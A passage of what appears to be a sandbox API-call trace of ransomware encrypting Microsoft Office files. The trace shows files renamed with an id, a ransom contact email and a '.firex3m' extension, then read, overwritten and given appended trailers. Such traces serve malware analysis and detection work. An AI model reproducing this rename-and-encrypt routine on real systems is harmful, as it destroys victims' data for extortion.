office\\root\\office16\\xlicons.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2415e4bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2466f613, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3840a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XLICON~1.FIR")) returned 0x6d4f40 [0191.044] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0191.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0191.044] GetProcessHeap () returned 0x630000 [0191.044] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7219168 [0191.044] GetProcessHeap () returned 0x630000 [0191.044] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x711d230 [0191.044] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.044] ReadFile (in: hFile=0x4b8, lpBuffer=0x7219168, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.979] GetProcessHeap () returned 0x630000 [0194.979] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0194.980] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.980] WriteFile (in: hFile=0x4b8, lpBuffer=0x711d230*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.328] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.329] WriteFile (in: hFile=0x4b8, lpBuffer=0x712862f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712862f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.330] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.330] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.330] CloseHandle (hObject=0x4b8) returned 1 [0195.330] GetProcessHeap () returned 0x630000 [0195.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0195.330] GetProcessHeap () returned 0x630000 [0195.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219168 | out: hHeap=0x630000) returned 1 [0195.331] GetProcessHeap () returned 0x630000 [0195.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0196.299] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2415e4bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3a5ff5ad, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3840cc, dwReserved0=0x95c7496, dwReserved1=0x7219160, cFileName="XLICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XLICON~1.FIR")) returned 0x6d5540 [0196.299] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0196.299] Sleep (dwMilliseconds=0x1) [0196.318] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx", len=0x4a | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 1 [0196.318] GetProcessHeap () returned 0x630000 [0196.318] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4794) returned 0x7133a90 [0196.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0196.430] CloseHandle (hObject=0x704) returned 1 [0196.430] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.008] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36f5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyReport.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADJACE~2.FIR")) returned 0x6d5240 [0197.008] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0197.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0197.008] GetProcessHeap () returned 0x630000 [0197.008] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7034d70 [0197.008] GetProcessHeap () returned 0x630000 [0197.008] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70401a0 [0197.009] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.009] ReadFile (in: hFile=0x704, lpBuffer=0x7034d70, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7034d70*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.118] GetProcessHeap () returned 0x630000 [0205.118] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0205.118] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.118] WriteFile (in: hFile=0x704, lpBuffer=0x70401a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70401a0*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.119] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.119] WriteFile (in: hFile=0x704, lpBuffer=0x704b59f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704b59f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.129] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.129] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.129] CloseHandle (hObject=0x704) returned 1 [0205.129] GetProcessHeap () returned 0x630000 [0205.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70401a0 | out: hHeap=0x630000) returned 1 [0205.137] GetProcessHeap () returned 0x630000 [0205.137] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7034d70 | out: hHeap=0x630000) returned 1 [0205.138] GetProcessHeap () returned 0x630000 [0205.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0205.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40368f99, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x36f5d5, dwReserved0=0x95c7496, dwReserved1=0x7034d68, cFileName="AdjacencyReport.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADJACE~2.FIR")) returned 0x6d5000 [0205.138] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0205.138] Sleep (dwMilliseconds=0x1) [0205.150] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", len=0x70 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 1 [0205.150] GetProcessHeap () returned 0x630000 [0205.150] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bfc) returned 0x7133a90 [0205.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0205.151] CloseHandle (hObject=0x704) returned 1 [0205.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0205.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0205.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc883e0d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="DATES.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATESX~1.FIR")) returned 0x6d53c0 [0205.152] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0205.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0205.152] GetProcessHeap () returned 0x630000 [0205.152] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x22e1) returned 0x71386a0 [0205.153] GetProcessHeap () returned 0x630000 [0205.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x22e1) returned 0x71089c8 [0205.153] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.153] ReadFile (in: hFile=0x704, lpBuffer=0x71386a0, nNumberOfBytesToRead=0x22c0, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71386a0*, lpNumberOfBytesRead=0x673ff0c*=0x22c0, lpOverlapped=0x0) returned 1 [0207.326] GetProcessHeap () returned 0x630000 [0207.326] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0207.326] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.326] WriteFile (in: hFile=0x704, lpBuffer=0x71089c8*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71089c8*, lpNumberOfBytesWritten=0x673ff0c*=0x22c0, lpOverlapped=0x0) returned 1 [0207.326] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.326] WriteFile (in: hFile=0x704, lpBuffer=0x710ac87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710ac87*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.327] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.327] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.327] CloseHandle (hObject=0x704) returned 1 [0207.327] GetProcessHeap () returned 0x630000 [0207.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71089c8 | out: hHeap=0x630000) returned 1 [0207.327] GetProcessHeap () returned 0x630000 [0207.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71386a0 | out: hHeap=0x630000) returned 1 [0207.327] GetProcessHeap () returned 0x630000 [0207.327] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0207.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4186bd52, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x22fa, dwReserved0=0x95c7496, dwReserved1=0x7138698, cFileName="DATES.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATESX~1.FIR")) returned 0x6d5000 [0207.327] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0207.327] Sleep (dwMilliseconds=0x1) [0209.545] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.ELM", len=0x70 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.ELM") returned 1 [0209.548] GetProcessHeap () returned 0x630000 [0209.548] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e3c) returned 0x6fe4288 [0209.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0209.550] CloseHandle (hObject=0x6a4) returned 1 [0209.550] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0209.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\sumipntg.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0209.550] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="SUMIPNTG.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUMIPN~2.FIR")) returned 0x6d53c0 [0209.551] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0209.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\sumipntg.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0209.551] GetProcessHeap () returned 0x630000 [0209.551] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x711d230 [0209.551] GetProcessHeap () returned 0x630000 [0209.551] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70e4440 [0209.551] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.551] ReadFile (in: hFile=0x6a4, lpBuffer=0x711d230, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0216.722] GetProcessHeap () returned 0x630000 [0216.722] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0216.722] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.722] WriteFile (in: hFile=0x6a4, lpBuffer=0x70e4440*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e4440*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0216.723] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.723] WriteFile (in: hFile=0x6a4, lpBuffer=0x70ef83f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ef83f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.723] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.723] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.723] CloseHandle (hObject=0x6a4) returned 1 [0216.724] GetProcessHeap () returned 0x630000 [0216.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e4440 | out: hHeap=0x630000) returned 1 [0216.724] GetProcessHeap () returned 0x630000 [0216.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0216.724] GetProcessHeap () returned 0x630000 [0216.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0216.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x471f8983, 